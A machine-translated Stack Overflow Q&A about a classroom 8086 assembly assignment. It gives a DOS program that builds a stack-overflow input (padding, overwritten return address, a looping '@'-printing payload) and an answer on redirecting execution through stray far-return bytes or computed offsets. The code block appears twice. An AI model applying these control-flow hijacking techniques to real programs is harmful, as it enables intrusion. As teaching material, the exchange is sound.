Assembly (汇编8086)如何从函数返回到不同的段?

Assembly (汇编8086)如何从函数返回到不同的段?,assembly,stack,stack-overflow,x86-16,Assembly,Stack,Stack Overflow,X86 16,我得到了一份写程序的任务。一种从用户处获取输入的方法,使用一个函数在堆栈上分配一个字符串,然后每次写入一个字符,直到得到一个“回车”为止。另一个程序使用第一个程序的缺陷,通过堆栈溢出,更改函数的返回地址,并将其指向恶意代码(我将其写入堆栈) 我的问题是,函数不会返回到我放在堆栈中的地址(在StackSegment中),而是返回到代码段中的地址。 这是获取输入的函数:(printStr func从堆栈打印) 这是一个将恶意代码写入文本文件的程序,我将其用于第一个程序: .model small .

我得到了一份写程序的任务。一种从用户处获取输入的方法,使用一个函数在堆栈上分配一个字符串,然后每次写入一个字符,直到得到一个“回车”为止。另一个程序使用第一个程序的缺陷,通过堆栈溢出,更改函数的返回地址,并将其指向恶意代码(我将其写入堆栈)

我的问题是,函数不会返回到我放在堆栈中的地址(在StackSegment中),而是返回到代码段中的地址。 这是获取输入的函数:(printStr func从堆栈打印)

这是一个将恶意代码写入文本文件的程序,我将其用于第一个程序:

.model small
.stack 100
.code
main proc
    push @data
    pop ds

    push ds
    push cs
    pop ds

    lea dx, implant
    mov ah, 09
    int 21h

    pop ds

    exit:
    mov ah, 4ch
    int 21h
endp
implant:
blank   db '@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@'
real_address    dd 0066h, 3182h
mov ah, 2
    mov dl, '@'
    loopy:
        int 21h
    jmp loopy
finish  db  0dh,'$'
end main

如果不允许修改代码,请在代码段的任何位置搜索0CBh或0CAh字节。这些是远返回指令,但它们实际上没有被代码用于此目的。您只需要找到一个包含这些值的字节。更改函数的近返回地址(堆栈上的单个16位值),使其返回到该字节,然后在堆栈上放置恶意代码的偏移量和段

请注意,0CAh字节是远返回的RET imm16形式,这会导致它从堆栈中弹出参数。如果使用此字节,可能需要重新调整堆栈

如果您找不到0CBh/0CAh字节,那么如果您知道堆栈段与代码段的距离不太远,那么您还有另一个选择。您可以使用堆栈上代码相对于代码段的偏移量作为近似返回地址。因此,如果堆栈段位于3182h,代码段位于3040h(随机选取一个数字),并且您的代码位于堆栈段中的偏移量64h,那么您的代码位于代码段中的偏移量
(3182h-3040h)*16+64h=1484h
。在这种情况下,您将用1484h而不是3182h:0066h替换返回地址


如果你没有这两种选择,那么我想不出任何其他明显的解决方案。其他标准的堆叠粉碎技术可能不适用。也许吧,但在您的目标可执行文件中可能没有标准库,也可能没有很多代码可供借用。(尽管后者意味着堆栈段应该远离代码段。)

如果允许修改程序,则可以使用远返回,返回地址也将包括该段。要从远调用返回,请使用远返回。
.model small
.stack 100
.code
main proc
    push @data
    pop ds

    push ds
    push cs
    pop ds

    lea dx, implant
    mov ah, 09
    int 21h

    pop ds

    exit:
    mov ah, 4ch
    int 21h
endp
implant:
blank   db '@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@'
real_address    dd 0066h, 3182h
mov ah, 2
    mov dl, '@'
    loopy:
        int 21h
    jmp loopy
finish  db  0dh,'$'
end main